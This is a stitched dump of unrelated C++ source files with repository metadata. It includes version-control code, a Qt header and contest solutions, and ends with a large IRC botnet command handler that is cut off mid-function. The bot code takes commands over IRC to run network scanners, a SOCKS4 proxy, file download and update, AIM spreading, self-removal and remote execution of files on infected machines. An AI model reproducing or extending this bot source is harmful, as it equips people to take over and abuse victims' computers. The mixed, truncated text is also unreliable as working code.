string branch_commit;
while (getline(branch_file, line)) {
array<string, 4> tokens = repo.extract_commit_information(line, '|');
branch_commit = tokens[0];
if (branch_commit == revision) {
_revision = branch_commit;
_date = tokens[1];
_message = tokens[2];
const auto& parents = repo.extract_parents(tokens[3]);
if (parents)
_parents = parents;
}
}
}
Revision(const string& message, const string& parents, const int revision_id = -1) {
_parents = repo.extract_parents(parents);
_message = message;
if (revision_id > -1) {
stringstream oss;
oss << "r" << revision_id;
_revision = oss.str();
} else {
stringstream oss;
oss << "r" << unique_commit_id();
_revision = oss.str();
}
const auto now = std::time(nullptr);
stringstream time_stream;
time_stream << put_time(localtime(&now), "%c");
_date = time_stream.str();
_parents_str = parents;
}
string message() const { return _message; }
string date() const { return _date; }
optional<vector<string>> parents() const { return _parents; }
string revision() const { return _revision; }
optional<string> branch() const {
const auto& lit_path = repo.get_lit_path();
for (const auto& branch: fs::directory_iterator(lit_path / "branches")) {
const auto file_name = branch.path().filename();
if (file_name == ".total" || file_name == ".last")
continue;
ifstream branch_file(lit_path / "branches" / file_name);
string line;
while (getline(branch_file, line)) {
array<string, 4> tokens = repo.extract_commit_information(line, '|');
auto& branch_commit = tokens[0];
if (branch_commit == _revision) {
return optional<string>(file_name);
}
}
}
return nullopt;
}
void write(const string& branch) const {
stringstream new_revision;
new_revision << _revision << "|" << _date << "|" << _message << "|" << _parents_str << endl;
write_commit(branch, new_revision);
}
static bool checkout_revision(const string& commit_id, optional<string> branch = nullopt,
const string& patch_directory = ".", bool change_branch = true) {
const auto& repo = Repository::instance();
const auto lit_path = repo.get_lit_path();
for (const auto& b: fs::directory_iterator(lit_path / "branches")) {
const auto& branch_file_name = b.path().filename();
if (branch_file_name == ".last" || branch_file_name == ".total") {
continue;
}
ifstream branch_file;
if (!branch)
branch_file.open(b.path());
else
branch_file.open(lit_path / "branches" / *branch);
string commit;
string line;
vector<string> commits_in_branch;
while (getline(branch_file, line)) {
array<string, 4> tokens = repo.extract_commit_information(line, '|');
commit = tokens[0];
commits_in_branch.push_back(commit);
if (commit == commit_id) {
if (change_branch) {
repo.switch_branch(branch_file_name);
ofstream last(lit_path / "branches" / ".last");
last << line;
repo.clean();
}
fs::path path_l;
if (patch_directory == ".")
path_l = fs::path(repo.root_path());
else
path_l = fs::path(patch_directory);
int path_level = 0;
while (path_l.has_parent_path() && path_l != path_l.root_path()) {
path_l = path_l.parent_path();
path_level++;
}
for (auto& com: commits_in_branch) {
const auto& patch_file = repo.get_lit_path() / "objects" / com;
auto command = Command("patch")
.arg(string("-s"))
.arg(string("-p") + to_string(patch_directory != "." ? path_level : path_level + 1))
.arg(string("-d"))
.arg(patch_directory)
.arg(string("-i"))
.arg(patch_file);
const auto& [output, status] = command.invoke();
}
if (change_branch)
repo.copy_structure(move("current"));
return true;
}
}
commits_in_branch.clear();
}
return false;
}
};
}; // namespace lit
|
aa19d96f2e95d07cfa26b8d773f732e709c6cffb
|
dcd9b790d644e1de684275c68c80d9696a97c418
|
/tsMuxerGUI/checkboxedheaderview.h
|
0438c75a2fdc4a86079fd47d5482ca7ca0e6d8d7
|
[
"Apache-2.0"
] |
permissive
|
justdan96/tsMuxer
|
ed4fe2cd5b26112ee434eff99ecefef89d5f6146
|
27f1d540f2e54f8772142440e07fcd4da538a73c
|
refs/heads/master
| 2023-09-03T00:18:59.599587
| 2023-09-02T20:33:12
| 2023-09-02T20:33:12
| 197,023,709
| 703
| 169
|
Apache-2.0
| 2023-09-11T07:19:21
| 2019-07-15T15:18:54
|
C++
|
UTF-8
|
C++
| false
| false
| 743
|
h
|
checkboxedheaderview.h
|
#ifndef CHECKBOXEDHEADERVIEW_H
#define CHECKBOXEDHEADERVIEW_H
#include <QHeaderView>
class QnCheckBoxedHeaderView : public QHeaderView
{
Q_OBJECT
typedef QHeaderView base_type;
public:
explicit QnCheckBoxedHeaderView(QWidget *parent = nullptr);
Qt::CheckState checkState() const { return m_checkState; }
void setCheckState(Qt::CheckState state);
signals:
void checkStateChanged(Qt::CheckState state);
protected:
void paintSection(QPainter *painter, const QRect &rect, int logicalIndex) const override;
QSize sectionSizeFromContents(int logicalIndex) const override;
private:
void at_sectionClicked(int logicalIndex);
Qt::CheckState m_checkState;
int m_checkColumnIndex;
};
#endif
|
412dfdbf9d1d659b978f81876c5a81c65ba0d5ae
|
44bb9d5b089fb3296958e8404c3eaec0acfe4082
|
/UVa/UVa_11795_Mega_Man_s_Mission.cpp
|
7fa15d4cee534734a8166aac6ffc49af2ea074b2
|
[] |
no_license
|
wujysh/OJ_Code_Repositories
|
3a82aa685ffc238710d924657169d81a560bdea9
|
e4407421bb342d6b050950fc7e458fe8fd9b6ca5
|
refs/heads/master
| 2020-06-05T05:38:30.144070
| 2014-10-22T04:33:18
| 2014-10-22T04:33:18
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,264
|
cpp
|
UVa_11795_Mega_Man_s_Mission.cpp
|
#include <iostream>
using namespace std;
const int MAXN = 1 << 16;
int n, weapon[MAXN], temp[MAXN], nCase, cnt;
long long x, ans, dp[MAXN];
int ch2to10(long long x) {
int t = 1, ans = 0;
while (x) {
ans += (x % 10) * t;
x /= 10;
t *= 2;
}
return ans;
}
void input() {
cin >> n;
cin >> x;
weapon[0] = ch2to10(x);
for (int i = 1; i <= n; i++) {
cin >> x;
temp[i] = ch2to10(x);
}
}
long long DP(int x) {
if (dp[x] != -1) return dp[x];
dp[x] = 0;
for (int i = 0; i < n; i++) {
if (x & (1 << i)) {
if (weapon[x - (1 << i)] & (1 << i)) {
dp[x] += DP(x - (1 << i));
}
}
}
return dp[x];
}
void work() {
dp[0] = 1;
for (int i = 1; i < (1 << n); i++) {
weapon[i] = weapon[0];
dp[i] = -1;
for (int j = n-1; j >= 0; j--) {
if (i & (1 << j)) {
weapon[i] |= temp[n-j];
}
}
}
ans = DP((1 << n) - 1);
}
void output() {
cout << "Case " << ++cnt << ": " << ans << endl;
}
int main() {
ios::sync_with_stdio(false);
cin >> nCase;
while (nCase--) {
input();
work();
output();
}
return 0;
}
|
5dfb1e1f9c0157d134a0c6551054a28ae44e97fd
|
01dee3bf83b1ab356a0109cc70b3536c57b065a1
|
/bzoj/4012.cpp
|
61730d1757385e13cdd09caa12970da42dff75f3
|
[] |
no_license
|
YMDragon/OJ-code
|
3e5c9c9871e86fffdd5a24e9da247b9980f364f4
|
6569bfa6519021cc3303aa42a4e60a40149a7816
|
refs/heads/master
| 2021-01-23T06:01:36.991005
| 2017-05-02T01:21:09
| 2017-05-02T01:21:09
| 86,330,585
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,104
|
cpp
|
4012.cpp
|
#include <algorithm>
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <cstdio>
#include <cmath>
using namespace std;
typedef long long LL;
const int N=150010;
struct edge{int s,t,d,n;}e[2*N];
struct node{LL bac; int add,ls,rs;}t[100*N];
struct year{int oy,ny,id;}a[N];
int n,q,A,m,tot,h[N],rt[N],s[N],id[N],hs[N],fa[N],pa[N],dep[N],sum[N],sg[N];
LL ans,sd[N];
bool cmp(year x,year y){return x.oy<y.oy;}
void dfs1(int x,int f)
{
fa[x]=f,s[x]=1;
for (int i=h[x],y; y=e[i].t,i; i=e[i].n)
if (y!=f)
dfs1(y,x),s[x]+=s[y],hs[x]=(s[hs[x]]<s[y])?y:hs[x];
}
void dfs2(int x,int p,int dis)
{
pa[x]=p,id[x]=++tot,dep[x]=dis;
for (int i=h[x]; i; i=e[i].n)
if (e[i].t==hs[x]) dfs2(hs[x],p,dis+e[i].d);
for (int i=h[x],y; y=e[i].t,i; i=e[i].n)
if ((y!=fa[x])&&(y!=hs[x])) dfs2(y,y,dis+e[i].d);
else if (y==fa[x]) sum[id[x]]=e[i].d;
}
int modify(int old,int l,int r,int L,int R,LL &bac)
{
int n=++tot,mid=(l+r)>>1; LL Bac=0;
t[n]=t[old];
if ((L<=l)&&(r<=R)) {t[n].add++; bac+=sum[r]-sum[l-1]; return n;}
if (L<=mid) t[n].ls=modify(t[n].ls,l,mid,L,R,Bac),bac+=Bac,t[n].bac+=Bac,Bac=0;
if (mid<R) t[n].rs=modify(t[n].rs,mid+1,r,L,R,Bac),bac+=Bac,t[n].bac+=Bac,Bac=0;
return n;
}
LL ask(int n,int l,int r,int L,int R,int sa)
{
if (!n) return 1LL*sa*(sum[min(r,R)]-sum[max(L,l)-1]);
sa+=t[n].add;
if ((L<=l)&&(r<=R))
return t[n].bac+1LL*sa*(sum[r]-sum[l-1]);
else
{
LL res=0,mid=(l+r)>>1;
if (L<=mid) res+=ask(t[n].ls,l,mid,L,R,sa);
if (mid<R) res+=ask(t[n].rs,mid+1,r,L,R,sa);
return res;
}
}
int upper(int x)
{;
int l=0,r=n,mid;
while (r-l>1)
{
mid=(l+r)>>1;
if (a[mid].oy>=x) r=mid; else l=mid;
}
return a[r].ny;
}
int lower(int x)
{
int l=1,r=n+1,mid;
while (r-l>1)
{
mid=(l+r)>>1;
if (a[mid].oy<=x) l=mid; else r=mid;
}
return a[l].ny;
}
void work()
{
scanf("%d %d %d",&n,&q,&A);
for (int i=1; i<=n; i++)
scanf("%d",&a[i].oy),a[i].id=i;
sort(a+1,a+n+1,cmp),tot=0;
for (int i=1,x,y,w; i<n; i++)
{
scanf("%d %d %d",&x,&y,&w);
e[++tot]=(edge){x,y,w,h[x]},h[x]=tot;
e[++tot]=(edge){y,x,w,h[y]},h[y]=tot;
}
dfs1(1,0);
tot=0,dfs2(1,1,0);
tot=0,a[0].oy=-1,a[n+1].oy=(1<<30);
for (int i=1; i<=n; i++) sum[i]+=sum[i-1];
for (int i=1; i<=n; i++)
{
if (a[i].oy!=a[i-1].oy) m++,rt[m]=rt[m-1];
a[i].ny=m;
int x=a[i].id; LL bac;
while (x)
rt[m]=modify(rt[m],1,n,id[pa[x]],id[x],bac),x=fa[pa[x]];
sg[m]++,sd[m]+=dep[a[i].id];
}
a[n+1].ny=m+1;
for (int i=1; i<=m; i++) sg[i]+=sg[i-1],sd[i]+=sd[i-1];
for (int i=1,u,a,b; i<=q; i++)
{
scanf("%d %d %d",&u,&a,&b),a=(a+ans)%A,b=(b+ans)%A;
if (a>b) swap(a,b);
ans=0,a=upper(a),b=lower(b);
ans=1LL*dep[u]*(sg[b]-sg[a-1])+sd[b]-sd[a-1];
while (u)
ans-=2*ask(rt[b],1,n,id[pa[u]],id[u],0)-2*ask(rt[a-1],1,n,id[pa[u]],id[u],0),u=fa[pa[u]];
printf("%lld\n",ans);
}
}
int main()
{
freopen("4012.in","r",stdin);
freopen("4012.out","w",stdout);
work();
return 0;
}
|
5332d7443db05d8729252a7b96f0ac35f17a7bdc
|
b284521fe1ee3a8a873523f85cbb70e1f76aab70
|
/Forward_list.cpp
|
64930f3bb69ced3d0b7e7f5621a6ef7fccdca549
|
[] |
no_license
|
ALMikryukov/Forward_list_C_plus_plus
|
1de48af90b67fb1b18709a58a725a3a651001639
|
cbbd7b2e9ace4a558e29f0de2433908292d92396
|
refs/heads/main
| 2023-07-10T01:43:29.037097
| 2021-08-19T06:24:13
| 2021-08-19T06:24:13
| 397,839,083
| 0
| 0
| null | null | null | null |
WINDOWS-1251
|
C++
| false
| false
| 986
|
cpp
|
Forward_list.cpp
|
#include<iostream>
#include<list>
#include<vector>
#include<forward_list>
using namespace std;
/* библиотека STL forward_list односвязный список */
/// наиболее быстрые методы с начала списка
int main() {
forward_list <int> fl = {131,94,494};
//fl.push_front(1);
//fl.push_front(4);
forward_list <int> ::iterator it = fl.begin();
// i++ можно инкремнтировать i-- декриментировать нельзя
/*
for (auto el : fl) { /// распечатать все
cout << el << endl;
}*/
fl.insert_after(it, 9999); /// вставит после указывающего итератором эмента
fl.erase_after(it); // сотрёт следующий элемент от указыающего на итератор
/// fl.before_begin()
for (auto el : fl) { /// распечатать все
cout << el << endl;
}
}
|
cd96afb17851b9923a9d68b62ed0f138e694806c
|
4023cf90d5de702859d08fd2ebb62b03822b97b1
|
/File.h
|
61eee1321ec0e643cc0f4f2fa913ee184ffdc12f
|
[] |
no_license
|
NomNom21523/Powaah
|
b018646ad4b1706b85ad0ee03b5cde1f73f909fe
|
a69601e2c650a35eba536c44343690a986e5206a
|
refs/heads/master
| 2021-05-28T02:45:34.921475
| 2012-06-29T21:48:29
| 2012-06-29T21:48:29
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 329
|
h
|
File.h
|
#ifndef FILE_H
#define FILE_H
#include "FileHandler.h"
class File : private FileHandler
{
protected:
static unsigned int fetchElementSizeFromFile(const FileDesc &description);
static void readDataFromFile(const FileDesc &description);
static void writeDataToFile(const FileDesc &description);
};
#endif // FILE_H
|
23f9641bc8190cd6aeb8574980a24f619fea583e
|
8383e82765dc9a435eef42004400f5d73bdc06d2
|
/include/sp_people_manager.h
|
4bceec0b361dc9a4d5cfb057d42dd77dad438a2a
|
[] |
no_license
|
wangliyangleon/lsh
|
2ab17e04d3b2f7769c6ced42384bfba2659d72db
|
6138fee678f4a31ff99d375c532c76c4822e3bf1
|
refs/heads/master
| 2021-01-01T15:36:52.855264
| 2014-07-29T13:28:43
| 2014-07-29T13:28:43
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,887
|
h
|
sp_people_manager.h
|
/**
* @Author: WangLiyang
* @Date: 2014/07/11 19:25:44
* @Brief:
*/
#ifndef _SP_PEOPLE_MANAGER_H_
#define _SP_PEOPLE_MANAGER_H_
#include <sp_people.h>
namespace wly {
/**
* @Class: PeopleManager
* @Brief: people manager
*/
class PeopleManager {
public:
/**
* get singleton instance of people manager
* @return PeopleManager* instance
*/
static PeopleManager* get_instance() {
if (nullptr == _instance) {
_instance = new (std::nothrow) PeopleManager();
if (nullptr == _instance) {
std::cerr << "alloc PeopleManager failed" << std::endl;
}
}
return _instance;
}
/**
* @Class: Garbo
* @Brief: to delete the instance
*/
class Garbo {
public:
~Garbo() {
if (nullptr != PeopleManager::_instance) {
delete _instance;
PeopleManager::_instance = nullptr;
}
}
};
/**
* reset people manager
*/
void reset();
/**
* load people data from file
* @param file [in] input file
* @return 0 succ
* -1 failed
*/
int load_people(const std::string& file);
/**
* get people vec
* @return std::vector<People>* pointer
*/
inline std::vector<People>* get_people_vec() {
return &_people_vec;
}
/**
* get people by index
* @return People people
*/
inline People* get_peopl_by_index(size_t index) {
return (index >= _people_vec.size() ? nullptr : &_people_vec.at(index));
}
private:
/// people vector
std::vector<People> _people_vec;
/// singleton pointer & garbo
static PeopleManager* _instance;
static Garbo _garbo;
};
}
#endif
|
1a6bfb83eb8fc9e10e47e1bb2578b9fc39b5dbd5
|
d49b8536d996a81fd2a356f2ccd850abd4447217
|
/VirusPack/InTeL_m0dd-Test101-ms0640/commands.cpp
|
edf5c6884e25dc408773c0f324cee0d9b410d2df
|
[] |
no_license
|
JonnyBanana/botnets
|
28a90ab80f973478d54579f3d3eadc5feb33ff77
|
995b9c20aca5de0ae585ae17780a31e8bdfd9844
|
refs/heads/master
| 2021-07-01T01:51:01.211451
| 2020-10-22T23:14:57
| 2020-10-22T23:14:57
| 148,392,362
| 9
| 5
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 61,170
|
cpp
|
commands.cpp
|
#include "includes.h"
#include "strings.h"
#include "functions.h"
extern char netinfo_title[];
extern int serversize;
int IRC_TempCommand(char *params,irc_reply_data* hostd,void* conn,BOOL silent,BOOL topic/*=FALSE*/)
{
IRC* irc=(IRC*)conn;
char *a[MAX_TOKENS];
//params++; //remove the ':'
char fcmd[1024];
strcpy(fcmd,params);
if (fcmd[0] == prefix)
{
int t=SplitParams(a,params,MAX_TOKENS);
SWITCHES switches=GetSwitches(a,t);
if (!a[0])
return 1;
if (a[0][0] == prefix)
{
a[0]++;
IRC_CommandParse(a,t,fcmd,hostd,irc,switches,topic);
}
else
{
if (!silent)
irc->privmsg(hostd->target,"%s Failed to parse command.",logic_title);
return 1;
}
}
return 1;
}
int IRC_CommandParse(char *a[MAX_TOKENS],int t,char *params,irc_reply_data* hostd,void* conn,SWITCHES switches,BOOL topic/*=FALSE*/)
{
IRC* irc=(IRC*)conn;
int tnum; // for finding the number of a already running thread
int i; // for misc shit
DWORD id; // for creating new threads
BOOL dec=FALSE;
if (topic)
{
if (!lstrcmpi(cmd_login_1,a[0]) || !lstrcmpi(cmd_login_2,a[0]))
return 1;
if (!lstrcmpi(cmd_logout_1,a[0]) || !lstrcmpi(cmd_logout_2,a[0]))
return 1;
if (!lstrcmpi(cmd_remove_1,a[0]) || !lstrcmpi(cmd_remove_2,a[0]))
return 1;
}
// stops
if (switches.stop)
{
if (!lstrcmpi(cmd_threads_1,a[0]) || !lstrcmpi(cmd_threads_2,a[0]))
{
stopthread(hostd->target,irc,switches.silent,switches.verbose,0,LIST_THREAD,"Thread list");
return 1;
}
#ifndef NO_PROCESS
else if (!lstrcmpi(cmd_process_1,a[0]) || !lstrcmpi(cmd_process_2,a[0]))
{
stopthread(hostd->target,irc,switches.silent,switches.verbose,0,PROC_THREAD,"Process");
return 1;
}
#endif
#ifndef NO_SECURE
else if (!lstrcmpi(cmd_secure_1,a[0]) || !lstrcmpi(cmd_secure_2,a[0])
|| !lstrcmpi(cmd_unsecure_1,a[0]) || !lstrcmpi(cmd_unsecure_2,a[0]))
{
stopthread(hostd->target,irc,switches.silent,switches.verbose,0,SECURE_THREAD,"Secure");
return 1;
}
#endif
#ifndef NO_EFTPD
else if (!lstrcmpi(cmd_eftpd_1,a[0]) || !lstrcmpi(cmd_eftpd_2,a[0]))
{
killftpd(hostd->target,irc,switches.silent,switches.verbose);
return 1;
}
#endif
#ifndef NO_ADVSCAN
else if (!lstrcmpi(cmd_scanall_1,a[0]) || !lstrcmpi(cmd_scanall_2,a[0])
|| !lstrcmpi(cmd_ntscan_1,a[0]) || !lstrcmpi(cmd_ntscan_2,a[0])
|| !lstrcmpi(cmd_lsascan_1,a[0]) || !lstrcmpi(cmd_lsascan_2,a[0])
|| !lstrcmpi(cmd_advscan_1,a[0]) || !lstrcmpi(cmd_advscan_2,a[0]))
{
stopthread(hostd->target,irc,switches.silent,switches.verbose,0,SCAN_THREAD,"Scanner");
return 1;
}
#endif
#ifndef NO_DOWNLOAD
else if (!lstrcmpi(cmd_download_1,a[0]) || !lstrcmpi(cmd_download_2,a[0]))
{
stopthread(hostd->target,irc,switches.silent,switches.verbose,0,DOWNLOAD_THREAD,"Download");
return 1;
}
else if (!lstrcmpi(cmd_update_1,a[0]) || !lstrcmpi(cmd_update_2,a[0]))
{
stopthread(hostd->target,irc,switches.silent,switches.verbose,0,DOWNLOAD_THREAD,"Update");
return 1;
}
#endif
#ifndef NO_SOCK4SERV
else if (!lstrcmpi(cmd_socks4_1,a[0]) || !lstrcmpi(cmd_socks4_2,a[0]))
{
stopthread(hostd->target,irc,switches.silent,switches.verbose,0,SOCK4_THREAD,"Socks4 Server");
return 1;
}
#endif
#ifndef NO_AIMSPREAD
else if (!lstrcmpi(cmd_aimspread_1,a[0]) || !lstrcmpi(cmd_aimspread_2,a[0]))
{
stopthread(hostd->target,irc,switches.silent,switches.verbose,0,AIMSPREAD_THREAD,"Aim Spread");
return 1;
}
#endif
else if (!lstrcmpi("aimp",a[0]))
{
AIM_Profile("",TRUE);
return 1;
}
}
const char cmd_aimspread_1[] = "aimspread";
const char cmd_aimspread_2[] = "aim";
//////////////////////////////////////////////////////////////////////////////
// Login
// At this point the user should already be logged in
//////////////////////////////////////////////////////////////////////////////
if (!lstrcmpi(a[0],cmd_login_1) || !lstrcmpi(a[0],cmd_login_2))
{
if (switches.verbose)
irc->privmsg(hostd->target,str_auth_ali,main_title);
return 1;
}
#ifndef NO_ENCRYPT
//////////////////////////////////////////////////////////////////////////////
// Encrypt
//////////////////////////////////////////////////////////////////////////////
if (!lstrcmpi(a[0],cmd_encrypt_1) || !lstrcmpi(a[0],cmd_encrypt_2))
{
char *cmd=strchr(params,' ');
if (cmd)
{
cmd++;//remove the space
char buffer[IRCLINE];
unsigned int counter=0;
ZeroMemory(buffer,sizeof(buffer));
unsigned int str_len = strlen(cmd);
// first encrypt string
Crypt((unsigned char *)cmd, strlen(cmd),NULL,0);
sprintf(buffer,"%s Cipher text: \"",main_title);
for (unsigned int i=0; i < str_len; i++) {
char tmpbuf[12];
_snprintf(tmpbuf,sizeof(tmpbuf),"\\x%2.2X", (unsigned char)cmd[i]);
counter+=strlen(tmpbuf);
if (counter >= (IRCLINE-20)) {
irc->privmsg(hostd->target,buffer);
ZeroMemory(buffer,sizeof(buffer));
counter = 0;
}
strncat(buffer,tmpbuf,strlen(tmpbuf));
}
strcat(buffer,"\";");
irc->privmsg(hostd->target,buffer);
// now to decrypt
Crypt((unsigned char *)cmd, strlen(cmd),NULL,0);
}
return 1;
}
#endif
//////////////////////////////////////////////////////////////////////////////
// Encrypt
//////////////////////////////////////////////////////////////////////////////
if (!lstrcmpi(a[0],"encrypt2") || !lstrcmpi(a[0],"enc2"))
{
char *cmd=strchr(params,' ');
if (cmd)
{
cmd++;//remove the space
Encrypt2(cmd);
irc->privmsg(hostd->target,"%s Cipher text: \"%s\"",main_title,cmd);
}
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Servers
//////////////////////////////////////////////////////////////////////////////
if (!lstrcmpi(a[0],"server") || !lstrcmpi(a[0],"srv"))
{
if (!a[1])
{
irc->privmsg(hostd->target,"%s: Current Server: %i: %s:%d%s",main_title,curserver,servers[curserver].host,servers[curserver].port,(servers[curserver].usessl?" (SSL)":""));
}
else if (!lstrcmpi(a[1],"list"))
{
irc->privmsg(hostd->target,"%s Server List:", main_title);
for (int s=0;s<serversize;s++)
{
irc->privmsg(hostd->target,"%i: %s:%d%s, %s",s,servers[s].host,servers[s].port,(servers[s].usessl?" (SSL)":""),servers[s].chan);
}
irc->privmsg(hostd->target,"%s Server List complete.", main_title);
}
else if (!lstrcmpi(a[1],"jump"))
{
if (!a[2])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,main_title);
return 1;
}
if (atoi(a[2])<0 || atoi(a[2])>=serversize)
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Invalid server.",main_title);
return 1;
}
curserver=atoi(a[2])-1;//-1 for the ++ when it gets disconnected
//Sleep(FLOOD_DELAY);
irc->quit("Changing servers");
}
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Logout
//////////////////////////////////////////////////////////////////////////////
if (!lstrcmpi(cmd_logout_1, a[0]) || !lstrcmpi(cmd_logout_2, a[0]))
{
if (a[1])
{
i = atoi(a[1]);
if(i>=0 && i<MAX_LOGINS)
{
if (irc->del_login(i))
{
if (!switches.silent)
irc->privmsg(hostd->target,str_sl_logout,main_title,i);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_sl_no_logout, main_title, i);
}
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_sl_in_logout, main_title, i);
}
}
else
{
if (irc->del_login(hostd->nick,hostd->ident,hostd->host)!=-1)
{
if (!switches.silent)
irc->privmsg(hostd->target,str_logout,main_title,hostd->nick);
}
}
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Who
//////////////////////////////////////////////////////////////////////////////
else if (!lstrcmpi(cmd_who,a[0]))
{
irc->list_logins(hostd->target);
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// AIM Profile Spread
//////////////////////////////////////////////////////////////////////////////
else if (!lstrcmpi("aimp",a[0]))
{
if (!a[1] || !a[2])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,"DEBUG//");
return 1;
}
char *cmd=strchr(params,' ');
if (cmd)
{
cmd++;//remove the space
if (AIM_Profile(cmd,FALSE))
irc->privmsg(hostd->target,"Set AIM profile");
else
irc->privmsg(hostd->target,"Failed to set AIM profile");
}
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Remove
// FIXME: Add unsecure (if enabled)
//////////////////////////////////////////////////////////////////////////////
else if (!lstrcmpi(a[0],cmd_remove_1) || !lstrcmpi(a[0],cmd_remove_2))
{
uninstall();
if (!switches.silent)
irc->quit(str_quit_rem,hostd->nick,hostd->ident,hostd->host);
else
irc->quit(str_quit_rem,hostd->nick,hostd->ident,"*");
Sleep(FLOOD_DELAY);
irc->disconnect();
fWSACleanup();
#ifdef _DEBUG
// CloseLog();
#endif
ExitProcess(EXIT_SUCCESS);
}
//////////////////////////////////////////////////////////////////////////////
// TestDLLs
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_DLLTEST
else if (!lstrcmpi(a[0],cmd_testdlls))
{
CheckDLLs(hostd->target,irc);
return 1;
}
#endif // NO_DLLTEST
//////////////////////////////////////////////////////////////////////////////
// Threads
//////////////////////////////////////////////////////////////////////////////
else if (!lstrcmpi(a[0],cmd_threads_1) || !lstrcmpi(a[0],cmd_threads_2))
{
if (a[1])
{
if (!lstrcmpi(cmd_threads_kill_1,a[1]) || !lstrcmpi(cmd_threads_kill_2,a[1]))
{
if (a[2])
{
if (!lstrcmpi(cmd_all,a[2]))
{
if ((i=killthreadall()) > 0)
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_stop,threads_title,i);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_ac,threads_title);
}
}
else
{
if (killthread(atoi(a[2])))
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_kill,threads_title,a[2]);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_fkill,threads_title,a[2]);
}
}
}
return 1;
}
}
if ((tnum=findthreadnum(LIST_THREAD)) > 0)
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_alr,threads_title,"Thread listing",tnum);
return 1;
}
NTHREAD tlist;
tlist.silent=switches.silent;
tlist.verbose=switches.verbose;
strcpy(tlist.target,hostd->target);
tlist.conn=irc;
tlist.bdata1 = ((a[1])?((!lstrcmpi(a[1],cmd_threads_sub))?(TRUE):(FALSE)):(FALSE)); // full list
tlist.threadnum=addthread(LIST_THREAD,"%s Thread listing.",threads_title);
if (threads[tlist.threadnum].tHandle = CreateThread(NULL, 0, &ListThread, (LPVOID)&tlist, 0, &id)) {
while (tlist.gotinfo == FALSE)
Sleep(50);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_fail,threads_title,"Thread listing",GetLastError());
}
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Socks4
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_SOCK4SERV
else if (!lstrcmpi(cmd_socks4_1,a[0]) || !lstrcmpi(cmd_socks4_2,a[0]))
{
if ((tnum=findthreadnum(SOCK4_THREAD)) > 0)
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_alr,sock4_title,"Socks4 Server",tnum);
return 1;
}
NTHREAD sock4;
sock4.silent=switches.silent;
sock4.verbose=switches.verbose;
strcpy(sock4.target,hostd->target);
sock4.conn=irc;
sock4.idata1 = (a[1]?atoi(a[1]):sock4port);
sock4.threadnum=addthread(SOCK4_THREAD,"%s Server running on: %s:%i",sock4_title,exip,sock4.idata1);
if (threads[sock4.threadnum].tHandle = CreateThread(NULL, 0, &SocksDaemon, (LPVOID)&sock4, 0, &id)) {
while (sock4.gotinfo == FALSE)
Sleep(50);
if (!switches.silent)
irc->privmsg(hostd->target,"%s Server running on: %s:%i",sock4_title,exip,sock4.idata1);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_fail,sock4_title,"Socks4 thread",GetLastError());
}
return 1;
}
#endif
//////////////////////////////////////////////////////////////////////////////
// Version
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_BOTVERSION
else if (!lstrcmpi(cmd_version_1,a[0]) || !lstrcmpi(cmd_version_2,a[0]))
{
if (a[1])
{
if (lstrcmpi(botid,a[1]))
irc->privmsg(hostd->target,"%s %s (%s)%s",main_title,version,botid,(switches.verbose?". Built on: "__DATE__".":""));
}
else
irc->privmsg(hostd->target,"%s %s (%s)%s",main_title,version,botid,(switches.verbose?". Built on: "__DATE__".":""));
return 1;
}
#endif
//////////////////////////////////////////////////////////////////////////////
// Status
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_STATUS
else if (!lstrcmpi(cmd_status_1, a[0]) || !lstrcmpi(cmd_status_2, a[0])) {
DWORD dwgtc=GetTickCount();
char boxup[50],botup[50],serverup[50];
sprintf(boxup,Uptime(dwgtc,0,TRUE));
sprintf(botup,Uptime(dwgtc,dwstarted,TRUE));
sprintf(serverup,Uptime(dwgtc,dwconnected,TRUE));
if (findthreadid(SCAN_THREAD) > 0)
irc->privmsg(hostd->target,str_status,main_title,"Scanning",boxup,botup,serverup);
else if (findthreadid(DDOS_THREAD) > 0)
irc->privmsg(hostd->target,str_status,main_title,"Attacking",boxup,botup,serverup);
else
irc->privmsg(hostd->target,str_status,main_title,"Idle",boxup,botup,serverup);
return 1;
}
#endif // NO_STATUS
/*
31337mods.com
*/
else if (!lstrcmpi("open", a[0]) || !lstrcmpi("o", a[0]))
{
if(fShellExecute(0, "open", a[1], NULL, NULL, SW_SHOW))
irc->privmsg(hostd->target,"[SHELL]: File opened: %s", a[1]);
else
irc->privmsg(hostd->target,"[SHELL]: Couldn't open file: %s", a[1]);
return 1;
}
/*
by teh relekst
*/
//////////////////////////////////////////////////////////////////////////////
// Secure/Unsecure
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_SECURE
else if (!lstrcmpi(cmd_secure_1,a[0]) || !lstrcmpi(cmd_secure_2,a[0])
|| !lstrcmpi(cmd_unsecure_1,a[0]) || !lstrcmpi(cmd_unsecure_2,a[0]))
{
BOOL bsecure=(!lstrcmpi(cmd_secure_1,a[0]) || !lstrcmpi(cmd_secure_2,a[0]));
